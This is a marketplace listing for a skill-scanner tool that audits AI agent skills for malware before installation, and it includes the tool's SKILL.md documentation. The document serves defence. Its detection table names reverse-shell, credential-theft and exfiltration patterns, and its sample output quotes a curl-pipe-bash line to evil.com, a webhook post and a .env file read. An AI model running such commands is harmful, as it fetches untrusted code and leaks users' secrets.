Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
bighardperson avatar

Clawhub Skill Scanner

  • 8 installs
  • 33 repo stars
  • Updated April 26, 2026
  • bighardperson/computer-science-skills-collection

Clawhub-skill-scanner is a skill that performs a mandatory security audit of a skill before installation to detect malicious patterns.

About

Clawhub-skill-scanner is a skill that performs a security audit of another skill before it is installed. It runs deep code analysis to detect malicious patterns such as reverse shells, curl-pipe-bash, credential access, data exfiltration, command injection, and obfuscation. It assigns a risk score and blocks installation when the score is too high.

  • Security gatekeeper that scans a skill before installation
  • Detects reverse shells, credential access, data exfiltration, and command injection
  • Risk scoring that blocks installation above a threshold

Clawhub Skill Scanner by the numbers

  • 8 all-time installs (skills.sh)
  • Ranked #1,680 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Jul 30, 2026 (Skillselion catalog sync)
At a glance

clawhub-skill-scanner capabilities & compatibility

Capabilities
security audit · code review
Use cases
security audit · code review
Pricing
Free
From the docs

What clawhub-skill-scanner says it does

Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub,
SKILL.md
Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks.
SKILL.md
Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.
SKILL.md
npx skills add https://github.com/bighardperson/computer-science-skills-collection --skill clawhub-skill-scanner

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs8
repo stars33
Last updatedApril 26, 2026
Repositorybighardperson/computer-science-skills-collection

What it does

Scan a skill for malicious patterns and block installation when the risk score is too high.

Who is it for?

Auditing a skill for malicious code before installing it from an external source.

Skip if: Auditing running production infrastructure; it scans skill folders, not live systems.

When should I use this skill?

Before installing any skill from ClawHub, GitHub, or another external source.

What you get

Scores a skill's risk and blocks installation of dangerous ones.

  • Security audit report with risk score
  • SAFE / CAUTION / DANGER / BLOCKED verdict

By the numbers

  • Risk scoring bands: 0-20 SAFE, 21-50 CAUTION, 51-80 DANGER, 81-100 BLOCKED
  • CRITICAL findings x 30 as base score

Files

SKILL.mdMarkdownGitHub ↗

Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

When to Use

Run this audit BEFORE any skill installation:

  • clawhub install <skill>
  • Manual skill download/copy
  • Skills from GitHub, URLs, or untrusted sources

Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

What It Detects

🔴 CRITICAL (Blocks Installation)

CategoryPatterns
Reverse Shellsnc -e, bash /dev/tcp, Python socket shells
Curl-Pipe-Bash`curl \
Credential Access~/.ssh, ~/.aws, ~/.openclaw, .env files
Data ExfiltrationDiscord/Slack webhooks, POST with secrets
Malicious Domainsglot.io, pastebin (known malware hosts)
Persistencecrontab, systemd, LaunchAgents, .bashrc
Command Injectioneval(), exec(), subprocess shell=True
Obfuscationbase64 decode pipes, pickle, marshal

🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

  • Raw socket usage (unusual for most skills)
  • Dynamic code compilation
  • File/directory deletion
  • Screenshot/keyboard capture libraries
  • Low-level system calls (ctypes)

Philosophy

We intentionally don't warn on common patterns like:

  • HTTP requests (normal for API skills)
  • API key references (normal for integration skills)
  • File writes (normal for data skills)
  • Environment variable access (normal for config)

This reduces noise so real threats stand out.

Risk Scoring

CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution
ScoreLevelAction
0-20🟢 SAFEAuto-approve
21-50🟡 CAUTIONReview findings
51-80🔶 DANGERDetailed review required
81-100🔴 BLOCKEDDo NOT install

Sample Output

════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════

📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

════════════════════════════════════════════════════════════
  🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════

Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"

References

See references/threat-patterns.md for detailed pattern explanations.

Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.

Related skills

FAQ

When should it run?

Before any skill installation, including clawhub install and manual downloads.

What blocks an installation?

A risk score of 81-100 is flagged BLOCKED - do not install.

Securityappsecaudit

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.